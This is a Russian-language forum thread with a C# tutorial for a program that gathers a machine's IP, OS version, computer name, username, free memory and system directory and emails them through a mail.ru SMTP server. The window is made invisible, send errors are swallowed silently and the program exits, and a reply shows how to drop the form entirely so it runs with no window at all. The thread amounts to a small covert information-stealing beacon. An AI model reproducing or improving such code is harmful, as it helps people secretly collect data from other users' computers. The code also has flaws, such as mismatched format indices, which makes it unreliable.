Пишем программу для отправки систем. инфо себе на почту
Приветствую!
Сейчас мы будем учиться писать простую программу для отправки системной информации себе на почту.
Приступим!
Создаем проект.
Заменяем свои using на эти:
Код:
using System;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using System.Net.Mail;
using System.Diagnostics;
Кликаем по форме и задаем значение в свойствах: FormBorderStyle = None и Opacity = 0.
Нам понадобиться 7 textbox 1 combobox
Теперь кликаем 2 раза по форме чтобы перейти к коду загрузки формы.
Туда пишем:
Код:
String host = System.Net.Dns.GetHostName();
System.Net.IPAddress ip = System.Net.Dns.GetHostByName(host).AddressList[0];
textBox1.Text = ip.ToString();
textBox2.Text = Environment.OSVersion.ToString();
textBox3.Text = Environment.MachineName.ToString();
textBox4.Text = Environment.ProcessorCount.ToString();
PerformanceCounter ram = new PerformanceCounter("Memory", "Available MBytes");
textBox5.Text = "Количество свободной памяти: " + ram.NextValue().ToString() + " Mb";
textBox6.Text = Environment.UserName.ToString();
textBox7.Text = Environment.SystemDirectory.ToString();
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("*ТВОЁ МЫЛО*", "*ТВОЁ МЫЛО*"); // Указываем логин и пароль для авторизации
string msgFrom = "*ТВОЁ МЫЛО*"; // Указываем поле, от кого письмо
string msgTo = "*ТВОЁ МЫЛО*"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Info"; // Указываем тему пиьсма
string msgBody = String.Format("Имя компьютера: {1} \nОперационная Система: {2}\nIP: {3}\nКоличество процессоров: {4} \n{5}\nИмя пользователя: {6}\nСистемная дирректория: {7}",
comboBox1.SelectedItem, textBox1.Text, textBox2.Text, textBox3.Text, textBox4.Text, textBox5.Text, textBox6.Text, textBox7.Text);
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch { }
Application.Exit();
Re: Пишем программу для отправки систем. инфо себе на почту
Что за бред?
Зачем нам текстбоксы?
Зачем таймер?
Что если пинг больше значения таймера, отправится ли сообщение?
Зачем нам combobox, если в коде ты его не заполняешь?
Зачем подключать using System.Linq; если ты его не используешь?
Зачем использовать WinForms если мы можем вообще без них??
Да и отображение данных нам не нужно...
Re: Пишем программу для отправки систем. инфо себе на почту
ALЕХ-1997, очевидно же, в Program.cs
Код:
static class Program
{
/// <summary>
/// Главная точка входа для приложения.
/// </summary>
//[STAThread] //Этот атрибут удаляем, всеравно поток под форму уже не нужен
static void Main()
{
//Application.EnableVisualStyles(); // Темболее удаляем, зачем на оформление без самой формы
//Application.SetCompatibleTextRenderingDefault(false); // и текст у нас больше не рендерится
//Application.Run(new Form1()); // и это нам тоже не нужно
}
работаем как с обычным консольным приложением, только без привычной консоли
...
ПРОФИТ!!!